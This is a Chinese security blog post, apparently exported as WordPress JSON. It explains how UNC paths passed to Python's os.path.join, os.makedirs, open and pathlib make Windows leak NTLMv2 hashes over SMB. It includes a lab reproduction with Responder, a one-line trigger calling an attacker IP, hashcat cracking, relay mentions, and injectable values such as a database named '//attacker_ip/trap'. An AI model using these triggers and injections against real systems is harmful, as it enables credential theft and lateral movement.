{"id":339,"date":"2026-07-23T11:44:09","date_gmt":"2026-07-23T03:44:09","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=339"},"modified":"2026-07-23T11:44:11","modified_gmt":"2026-07-23T03:44:11","slug":"%e8%81%8a%e8%81%8apython%e4%b8%ad%e5%87%a0%e4%b8%aa%e7%aa%83%e5%8f%96windows%e5%87%ad%e6%8d%ae%e7%9a%84trick","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=339","title":{"rendered":"\u804a\u804apython\u4e2d\u51e0\u4e2a\u7a83\u53d6windows\u51ed\u636e\u7684trick"},"content":{"rendered":"\n

\u8bf4\u8d77 Python \u5b89\u5168\uff0c\u5927\u5bb6\u804a\u5f97\u591a\u7684\u662f\u53cd\u5e8f\u5217\u5316\u3001SSTI\u3001\u6c99\u7bb1\u9003\u9038\u3002\u4f46\u6807\u51c6\u5e93\u91cc\u6709\u4e9b\u770b\u8d77\u6765\u4eba\u755c\u65e0\u5bb3\u7684\u51fd\u6570\uff0c\u5728 Windows \u4e0a\u914d\u5408 UNC \u8def\u5f84\u5c31\u80fd\u76f4\u63a5\u5077\u8d70\u7528\u6237\u7684 NTLM \u51ed\u636e\u3002\u8fd9\u4e2a\u653b\u51fb\u9762\u51e0\u4e4e\u6ca1\u4eba\u4e13\u95e8\u5199\u8fc7\uff0c\u4f46\u5b9e\u6218\u4e2d\u5f88\u597d\u7528\u3002<\/p>\n\n\n\n

\u672c\u6587\u4ece CPython \u6e90\u7801\u51fa\u53d1\uff0c\u5206\u6790 os.path.join \u3001os.makedirs \u3001open \u3001pathlib \u5728 UNC \u8def\u5f84\u4e0b\u7684\u5371\u9669\u884c\u4e3a\uff0c\u9644\u5b8c\u6574\u590d\u73b0\u548c\u771f\u5b9e\u6355\u83b7\u7684 NTLMv2 \u54c8\u5e0c\u3002<\/p>\n\n\n\n

\u524d\u7f6e\u77e5\u8bc6<\/h2>\n\n\n\n

UNC \u8def\u5f84<\/h3>\n\n\n\n

UNC\uff08Universal Naming Convention\uff09\u662f Windows \u8bbf\u95ee\u7f51\u7edc\u5171\u4eab\u7684\u8def\u5f84\u683c\u5f0f\uff1a\/\/server\/share \u6216 \\\\server\\share<\/p>\n\n\n\n

Windows \u7a0b\u5e8f\u8bbf\u95ee UNC \u8def\u5f84\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u81ea\u52a8\u5411\u76ee\u6807\u670d\u52a1\u5668\u7684 445 \u7aef\u53e3\u53d1\u8d77 SMB \u8fde\u63a5\uff0c\u5e76\u5728\u65e0\u4efb\u4f55\u63d0\u793a\u7684\u60c5\u51b5\u4e0b\u53d1\u9001\u5f53\u524d\u7528\u6237\u7684 NTLMv2 \u54c8\u5e0c\u8fdb\u884c\u8ba4\u8bc1\u3002\u62ff\u5230\u54c8\u5e0c\u540e\u53ef\u4ee5\u7528 hashcat \u79bb\u7ebf\u7834\u89e3\uff0c\u6216\u7528 ntlmrelayx \u4e2d\u7ee7\u5230\u5176\u4ed6\u673a\u5668\u76f4\u63a5\u62ff shell\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

CPython \u6e90\u7801\u5206\u6790<\/h2>\n\n\n\n

os.path.join \u7edd\u5bf9\u8def\u5f84\u8986\u76d6<\/h3>\n\n\n\n

\u6211\u4eec\u5148\u770b\u770b\u8fd9\u4e2a\u51fd\u6570\u662f\u7528\u6765\u5e72\u4ec0\u4e48\u7684\uff0c\u4e2d\u4e00\u822c\u7684\u5f00\u53d1\u573a\u666f\u4e0b \u8fd9\u4e2a\u51fd\u6570\u7528\u4e8e\u62fc\u63a5\u4e00\u4e2a\u6216\u591a\u4e2a\u8def\u5f84\u90e8\u5206<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5728 Windows \u4e0a os.path.join \u5b9e\u9645\u8c03\u7528\u7684\u662f ntpath.join \u3002\u770b\u4e00\u4e0b CPython \u6e90\u7801\uff09\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
def join(path, *paths):\n    path = os.fspath(path)\n    sep = '\\\\'\n    seps = '\\\\\/'\n    colon = ':'\n    try:\n        result_drive, result_path = splitdrive(path)\n        for p in map(os.fspath, paths):\n            p_drive, p_path = splitdrive(p)\n            if p_path and p_path[0] in seps:\n                # Second path is absolute\n                if p_drive or not result_drive:\n                    result_drive = p_drive\n                result_path = p_path        \n                continue\n            elif p_drive and p_drive != result_drive:\n                if p_drive.lower() != result_drive.lower():\n                    result_drive = p_drive\n                    result_path = p_path     \n                    continue<\/code><\/pre>\n\n\n\n
\u5f53\u540e\u7eed\u8def\u5f84 p_path[0] in seps\uff08\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u4ee5 \/ \u6216 \\ \u5f00\u5934\uff09\u7684\u65f6\u5019\uff0cresult_path\u88ab\u76f4\u63a5\u8986\u76d6\uff0c\u524d\u9762\u7684\u8def\u5f84\u5168\u90e8\u4e22\u5f03\u3002<\/p>\n\n\n\n
\u800c UNC \u8def\u5f84 \u201d\/\/attacker\/share\u201c\u7ecf\u8fc7 splitdrive \u540e\u4f1a\u600e\u6837\uff1f\u770b splitdrive\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5173\u952e\u4ee3\u7801<\/p>\n\n\n\n
def splitdrive(p):\n    normp = p.replace(altsep, sep)      # '\/' \u66ff\u6362\u6210 '\\'\n    if normp[0:2] == sep * 2:           # \u68c0\u6d4b\u662f\u5426 '\\\\' \u524d\u7f00\n        # UNC drives, e.g. \\\\server\\share\n        start = 2\n        index = normp.find(sep, start)  # \u627e\u7b2c\u4e09\u4e2a '\\'\n        index2 = normp.find(sep, index + 1)\n        \u7701\u7565...\n        return p[:index2], p[index2:]   <\/code><\/pre>\n\n\n\n
\u5bf9\u4e8e \u4f20\u5165\u53c2\u6570\u201c\/\/attacker\/share\u201d\uff1asplitdrive \u8fd4\u56de (‘\/\/attacker\/share’, ”)\u3002p_path\u4e3a\u7a7a\uff0c\u8d70\u4e0d\u8fdb\u8fd9\u4e2a if\u3002\u4f46\u5982\u679c\u8def\u5f84\u66f4\u957f\u6bd4\u5982 \/\/attacker\/share\/xxx\uff0csplitdrive\u8fd4\u56de (‘\/\/attacker\/share’, ‘\/xxx’)\uff0cp_path[0] \u662f \/\uff0c\u6ee1\u8db3\u6761\u4ef6\uff0c\u8986\u76d6\u53d1\u751f\u3002<\/p>\n\n\n\n
\u4f46\u5b9e\u9645\u6d4b\u8bd5\u53d1\u73b0\u5373\u4f7f\u662f\/\/attacker\/share\uff08\u4e0d\u5e26\u5b50\u8def\u5f84\uff09\uff0cjoin\u540c\u6837\u4f1a\u8986\u76d6\u3002\u539f\u56e0\u662f\u5f53 p_drive \u5b58\u5728\uff08\/\/attacker\/share\uff09\u4e14\u4e0e result_drive\uff08C:\uff09\u4e0d\u540c\u65f6\uff0c\u5206\u652f\uff0c\u540c\u6837\u6267\u884c\u4e86\u8986\u76d6\u3002<\/p>\n\n\n\n
\u5b9e\u9645\u9a8c\u8bc1\uff1a<\/p>\n\n\n\n
import os\ntest=os.path.join(\"C:\/app\/output\", \"\/\/attacker\/share\")\nprint(test)\n# \/\/attacker\/share  # base \u6d88\u5931\u4e86<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
import os\ntest=os.path.join(\"C:\/app\/output\", \"D:\/evil\")\nprint(test)\n#\u540c\u7406<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
import os\ntest=os.path.join(\"C:\/app\/output\", \"..\/..\/etc\/passwd\")\nprint(test)\n#'C:\/app\/output\\\\..\/..\/etc\/passwd'     # \u76f8\u5bf9\u8def\u5f84\u4e0d\u8986\u76d6<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
os.makedirs \u9012\u5f52\u521b\u5efa\u89e6\u53d1 SMB<\/h3>\n\n\n\n
\u5f00\u53d1\u573a\u666f\u4e0b\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e00\u822c\u7528\u4e8e\u9012\u5f52\u76ee\u5f55\u521b\u5efa<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
os.makedirs \u7684\u6e90\u7801\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
def makedirs(name, mode=0o777, exist_ok=False):\n    head, tail = path.split(name)\n    if not tail:\n        head, tail = path.split(head)\n    if head and tail and not path.exists(head):    # \u8fd9\u91cc\u5c31\u89e6\u53d1\u4e86\n        try:\n            makedirs(head, exist_ok=exist_ok)      # \u9012\u5f52\n        except FileExistsError:\n            pass\n    try:\n        mkdir(name, mode)                          # \u6700\u7ec8\u8c03\u7528\n    except OSError:\n        if not exist_ok or not path.isdir(name):\n            raise<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7684path.exists(head) \u5c31\u5df2\u7ecf\u4f1a\u89e6\u53d1 SMB \u8fde\u63a5\u4e86\u2014\u2014\u68c0\u67e5 “\/\/attacker\/share” \u662f\u5426\u5b58\u5728\u9700\u8981\u8fde\u63a5\u76ee\u6807\u670d\u52a1\u5668\u3002\u5373\u4f7f\u8fd9\u6b65\u6ca1\u89e6\u53d1\uff0c mkdir(name, mode) \u4f1a\u8c03\u7528 C \u5c42\u7684 os.mkdir\u3002<\/p>\n\n\n\n
os.mkdir \u5c42\u5230 Windows API<\/h3>\n\n\n\n
os.mkdir \u662f C \u5b9e\u73b0\u7684\u5185\u7f6e\u51fd\u6570\uff08Modules\/posixmodule.c\uff09\uff0c\u5728 Windows \u4e0a\u6700\u7ec8\u8c03\u7528\u7684\u662f\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5173\u952e\u4ee3\u7801<\/p>\n\n\n\n
\/\/ CPython\/Modules\/posixmodule.c\nstatic PyObject *\nos_mkdir_impl(PyObject *module, path_t *path, int mode, int dir_fd)\n{\n\u7701\u7565\n    result = CreateDirectoryW(path->wide, NULL);  \/\/ \u2190 Windows API\n\u7701\u7565\n}<\/code><\/pre>\n\n\n\n
CreateDirectoryW \u662f Windows \u7684\u7cfb\u7edf\u8c03\u7528\u3002\u5f53\u8def\u5f84\u662f UNC \u683c\u5f0f\u65f6\uff0cWindows \u5185\u6838\u7684 I\/O \u7ba1\u7406\u5668\u628a\u5b83\u8def\u7531\u5230 MUP\uff08Multiple UNC Provider\uff09\uff0cMUP \u8c03\u7528 SMB \u5ba2\u6237\u7aef\u9a71\u52a8 mrxsmb.sys \uff0c\u540e\u8005\u5411\u76ee\u6807 IP \u7684 445 \u7aef\u53e3\u53d1\u8d77 TCP \u8fde\u63a5 + SMB \u534f\u5546 + NTLM \u8ba4\u8bc1\u3002<\/p>\n\n\n\n
\u5b8c\u6574\u8c03\u7528\u94fe\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728python\u4e2d open()\u3001os.listdir()\u3001os.stat() \u3001pathlib.Path.exists()\u8fd9\u4e9b\u51fd\u6570\u5e95\u5c42\u8d70\u7684\u8def\u5f84\u5b8c\u5168\u4e00\u6837\u2014\u2014\u6700\u7ec8\u90fd\u662f Windows API\uff08CreateFileW \u3001FindFirstFileW \u3001GetFileAttributesW\uff09\u78b0\u5230 UNC \u8def\u5f84\u540e\u4ea4\u7ed9 MUP \u5904\u7406\u3002<\/p>\n\n\n\n
\u5b9e\u6d4b\u9a8c\u8bc1<\/h2>\n\n\n\n
\u5149\u770b\u6e90\u7801\u4e0d\u591f\uff0c\u5f97\u8dd1\u4e00\u4e0b\u3002\u6211\u5199\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u811a\u672c\u5728 Windows 11 \u4e0a\u6d4b\u8bd5\uff0c\u6bcf\u4e2a\u51fd\u6570\u7528\u4e0d\u540c\u7684\u4e0d\u53ef\u8fbe IP\uff08\u907f\u514d Windows SMB \u8d1f\u7f13\u5b58\u4e92\u76f8\u5e72\u6270\uff09\uff1a<\/p>\n\n\n\n
import os, time\nfrom pathlib import Path\n\ntests = [\n    (\"os.makedirs\", \"192.168.253.1\", lambda ip: os.makedirs(f\"\/\/{ip}\/s\/t\")),\n    (\"os.listdir\",  \"192.168.253.2\", lambda ip: os.listdir(f\"\/\/{ip}\/s\")),\n    (\"os.stat\",     \"192.168.253.3\", lambda ip: os.stat(f\"\/\/{ip}\/s\/f\")),\n    (\"open\",        \"192.168.253.4\", lambda ip: open(f\"\/\/{ip}\/s\/f\")),\n    (\"Path.exists\", \"192.168.253.5\", lambda ip: Path(f\"\/\/{ip}\/s\").exists()),\n    (\"Path.mkdir\",  \"192.168.253.6\", lambda ip: Path(f\"\/\/{ip}\/s\/d\").mkdir(parents=True, exist_ok=True)),\n]\n\nfor name, ip, fn in tests:\n    start = time.time()\n    try:\n        fn(ip)\n    except:\n        pass\n    elapsed = time.time() - start\n    tag = \"SMB TRIGGERED\" if elapsed > 3 else \"no SMB\"\n    print(f\"{name:20s}  {elapsed:5.1f}s  {tag}\")<\/code><\/pre>\n\n\n\n
\u8f93\u51fa\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
21 \u79d2\u662f Windows SMB \u8fde\u63a5\u8d85\u65f6\u9ed8\u8ba4\u503c\u3002\u516d\u4e2a\u51fd\u6570\u5168\u90e8\u89e6\u53d1\u4e86 SMB \u8fde\u63a5\u5c1d\u8bd5\u3002<\/p>\n\n\n\n
\u590d\u73b0\u7a83\u53d6NTLMv2 \u54c8\u5e0c<\/h2>\n\n\n\n
\u73af\u5883<\/h3>\n\n\n\n
vps\uff1aLinux 192.168.50.130\uff0c\u8fd0\u884c Responder<\/p>\n\n\n\n
\u9776\u673a\uff1aWindows 10×64\uff0c\u8fd0\u884c\u89e6\u53d1 UNC \u7684 Python \u4ee3\u7801<\/p>\n\n\n\n
Linux \u7aef\u542f\u52a8 Responder<\/h3>\n\n\n\n
sudo responder -I ens33 -v<\/p>\n\n\n\n
sudo python3 Responder.py -I eth0<\/p>\n\n\n\n
Windows \u7aef\u89e6\u53d1 SMB<\/h3>\n\n\n\n
\u53ea\u9700\u8981\u4e00\u884c\uff1a<\/p>\n\n\n\n
import os\nos.makedirs(\"\/\/192.168.50.130\/share\/test\")<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6216\u8005\u901a\u8fc7 open \u3001pathlib \u7b49\u4efb\u610f\u4e00\u4e2a\u51fd\u6570\u89e6\u53d1\uff1a<\/p>\n\n\n\n
open(“\/\/192.168.50.130\/share\/file.txt”)<\/p>\n\n\n\n
\u7b2c\u4e09\u6b65\uff1a\u67e5\u770b\u6355\u83b7\u7ed3\u679c<\/h3>\n\n\n\n
Responder \u7ec8\u7aef\u8f93\u51fa\uff1a<\/p>\n\n\n\n
[SMB] NTLMv2-SSP Client   : 192.168.50.1\n[SMB] NTLMv2-SSP Username : \\admin\n[SMB] NTLMv2-SSP Hash     : admin:::xxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u662f\u5b8c\u6574\u7684 NTLMv2-SSP \u54c8\u5e0c\uff0c\u53ef\u4ee5\u76f4\u63a5\u4e22\u7ed9 hashcat\uff1a<\/p>\n\n\n\n
hashcat -m 5600 hash.txt rockyou.txt<\/p>\n\n\n\n
\u6216\u8005\u4f5c\u4e3a\u540e\u7eed\u7684\u6a2a\u5411\u79fb\u52a8\u63d0\u4f9b\u5173\u952e\u51ed\u8bc1<\/p>\n\n\n\n
\u5e38\u89c1\u7684\u6f0f\u6d1e\u573a\u666f<\/h2>\n\n\n\n
\u6570\u636e\u5e93\u540d\u4f5c\u4e3a\u8def\u5f84<\/h3>\n\n\n\n
\u5f88\u591a\u6570\u636e\u5bfc\u51fa\u5de5\u5177\u7528\u6570\u636e\u5e93\u540d\u6784\u9020\u8f93\u51fa\u76ee\u5f55\u3002MySQL \u5141\u8bb8\u521b\u5efa \/\/ \u5f00\u5934\u7684\u5e93\u540d\uff1a<\/p>\n\n\n\n
CREATE DATABASE `\/\/attacker_ip\/trap`;<\/p>\n\n\n\n
\u5982\u679c\u5bfc\u51fa\u5de5\u5177\u8fd9\u6837\u5199\uff1a<\/p>\n\n\n\n
db_name = query(\"SELECT DATABASE()\")\noutput = os.path.join(dump_path, db_name)\nos.makedirs(output)<\/code><\/pre>\n\n\n\n
\u5728 Windows \u4e0a\u8fd0\u884c\u5c31\u4f1a\u89e6\u53d1 NTLM \u6cc4\u9732\u3002<\/p>\n\n\n\n
Web \u6846\u67b6\u7684\u6587\u4ef6\u4e0a\u4f20<\/h3>\n\n\n\n
\u5982\u679c\u6587\u4ef6\u540d\u6765\u81ea\u7528\u6237\u8f93\u5165\u4e14\u7528 os.path.join \u62fc\u63a5\u4fdd\u5b58\u8def\u5f84\uff1a<\/p>\n\n\n\n
save_path = os.path.join(UPLOAD_DIR, user_filename)\nwith open(save_path, 'wb') as f:  # user_filename = \"\/\/attacker\/share\/x\"\n    f.write(content)               # \u2192 NTLM \u6cc4\u9732<\/code><\/pre>\n\n\n\n
\u914d\u7f6e\u6587\u4ef6\u8def\u5f84<\/h3>\n\n\n\n
\u4ece\u6570\u636e\u5e93\u6216 API \u8bfb\u53d6\u7684\u8def\u5f84\u914d\u7f6e\uff1a<\/p>\n\n\n\n
log_dir = config.get(\"log_directory\")  # \u4ece\u8fdc\u7a0b\u83b7\u53d6\nos.makedirs(log_dir, exist_ok=True)     # \u5982\u679c\u503c\u662f UNC -> \u6cc4\u9732<\/code><\/pre>\n\n\n\n
Windows SMB \u8d1f\u7f13\u5b58<\/h2>\n\n\n\n
\u590d\u73b0\u65f6\u7684\u4e00\u4e2a\u5751\uff1aWindows 11 \u5bf9 SMB \u8fde\u63a5\u5931\u8d25\u6709\u6fc0\u8fdb\u7684\u8d1f\u7f13\u5b58\u3002\u7b2c\u4e00\u6b21\u8fde\u63a5\u67d0 IP \u5931\u8d25\u540e\uff0c\u540e\u7eed\u5bf9\u540c IP \u7684\u8bf7\u6c42\u76f4\u63a5\u8fd4\u56de\u7f13\u5b58\u9519\u8bef\u800c\u4e0d\u53d1\u7f51\u7edc\u8bf7\u6c42\u3002\u6240\u4ee5\u6d4b\u8bd5\u65f6\u6bcf\u4e2a\u51fd\u6570\u8981\u7528\u4e0d\u540c\u7684 IP\uff0c\u6216\u8005\u91cd\u542f Windows \u6e05\u7f13\u5b58\u3002<\/p>\n\n\n\n
\n\n\n\n
Author \uff1aPhantom<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"
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